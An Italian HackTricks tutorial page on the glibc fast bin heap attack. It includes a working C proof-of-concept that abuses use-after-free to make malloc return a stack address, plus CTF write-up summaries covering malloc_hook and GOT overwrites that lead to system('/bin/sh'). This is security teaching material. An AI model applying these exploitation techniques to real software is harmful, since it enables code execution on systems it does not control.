12 KiB
Attacco Fast Bin
Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri La Famiglia PEASS, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud repos di github.
Informazioni di Base
Per ulteriori informazioni su cosa sia un fast bin, controlla questa pagina:
{% content-ref url="bins-and-memory-allocations.md" %} bins-and-memory-allocations.md {% endcontent-ref %}
Poiché il fast bin è singolarmente collegato, ci sono molte meno protezioni rispetto ad altri bin e semplicemente modificare un indirizzo in un chunk fast bin liberato è sufficiente per poter allocare successivamente un chunk in qualsiasi indirizzo di memoria.
In sintesi:
{% code overflow="wrap" %}
ptr0 = malloc(0x20);
ptr1 = malloc(0x20);
// Put them in fast bin (suppose tcache is full)
free(ptr0)
free(ptr1)
// Use-after-free
// Modify the address where the free chunk of ptr1 is pointing
*ptr1 = (unsigned long)((char *)&<address>);
ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it
{% endcode %}
Puoi trovare un esempio completo in un codice molto ben spiegato su https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(void)
{
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");
puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;
ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);
printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);
printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");
int stackVar = 0x55;
printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);
printf("Proceeding that I'm going to write just some data to the three heap chunks\n");
char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";
memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);
printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");
printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);
printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");
free(ptr0);
free(ptr1);
free(ptr2);
printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);
printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");
printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");
*ptr1 = (unsigned long)((char *)&stackVar);
printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);
printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");
unsigned long *ptr3, *ptr4, *ptr5;
ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);
printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);
printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}
{% hint style="danger" %}
Se è possibile sovrascrivere il valore della variabile globale global_max_fast
con un numero grande, ciò consente di generare fast bin di dimensioni maggiori, permettendo potenzialmente di eseguire attacchi fast bin in scenari in cui in precedenza non era possibile.
{% endhint %}
Esempi
- CTF https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html:
- È possibile allocare chunk, liberarli, leggerne i contenuti e riempirli (con una vulnerabilità di overflow).
- Consolidare chunk per infoleak: La tecnica consiste nell'abusare dell'overflow per creare una fake prev_size in modo che un chunk precedente venga inserito all'interno di uno più grande, quindi quando si alloca il chunk più grande contenente un altro chunk, è possibile stamparne i dati e ottenere un leak di un indirizzo a libc (main_arena+88).
- Sovrascrivere malloc hook: Per fare ciò, e sfruttando la situazione di sovrapposizione precedente, è stato possibile avere 2 chunk che puntavano alla stessa memoria. Di conseguenza, liberandoli entrambi (liberando un altro chunk in mezzo per evitare protezioni) è stato possibile avere lo stesso chunk nel fast bin 2 volte. Poi, è stato possibile allocarlo di nuovo, sovrascrivere l'indirizzo al prossimo chunk in modo che punti un po' prima di malloc_hook (in modo che punti a un intero che malloc pensa sia una dimensione libera - un altro bypass), allocarlo di nuovo e quindi allocare un altro chunk che riceverà un indirizzo ai malloc hooks.
Infine è stato scritto un one gadget lì dentro. - CTF https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html:
- C'è un heap overflow e user after free e double free perché quando un chunk viene liberato è possibile riutilizzare e liberare di nuovo i puntatori.
- Libc info leak: Basta liberare alcuni chunk e otterranno un puntatore a una parte della posizione dell'arena principale. Poiché è possibile riutilizzare i puntatori liberati, basta leggere questo indirizzo.
- Attacco fast bin: Tutti i puntatori alle allocazioni sono memorizzati all'interno di un array, quindi possiamo liberare un paio di chunk fast bin e nell'ultimo sovrascrivere l'indirizzo per puntare un po' prima di questo array di puntatori. Quindi, allocare un paio di chunk con la stessa dimensione e otterremo prima quello legittimo e poi quello falso contenente l'array di puntatori. Ora possiamo sovrascrivere questi puntatori di allocazione per puntare all'indirizzo got di
free
per puntare a system e quindi scrivere il chunk 1"/bin/sh"
per poifree(chunk1)
che eseguiràsystem("/bin/sh")
. - CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html
- Un altro esempio di abuso di un overflow di 1B per consolidare chunk nell'unsorted bin e ottenere un infoleak di libc e quindi eseguire un attacco fast bin per sovrascrivere malloc hook con un indirizzo one gadget
- CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html
- Dopo un infoleak abusando dell'unsorted bin con un UAF per leakare un indirizzo libc e un indirizzo PIE, lo sfruttamento di questo CTF ha utilizzato un attacco fast bin per allocare un chunk in un punto in cui erano situati i puntatori ai chunk controllati, quindi è stato possibile sovrascrivere certi puntatori per scrivere un one gadget nel GOT
- Puoi trovare un attacco Fast Bin abusato attraverso un attacco unsorted bin:
- Nota che è comune prima di eseguire attacchi fast bin abusare della lista non piaciuta per leakare indirizzi libc/heap (quando necessario).
{% content-ref url="unsorted-bin-attack.md" %} unsorted-bin-attack.md {% endcontent-ref %}
Impara l'hacking AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud github repos.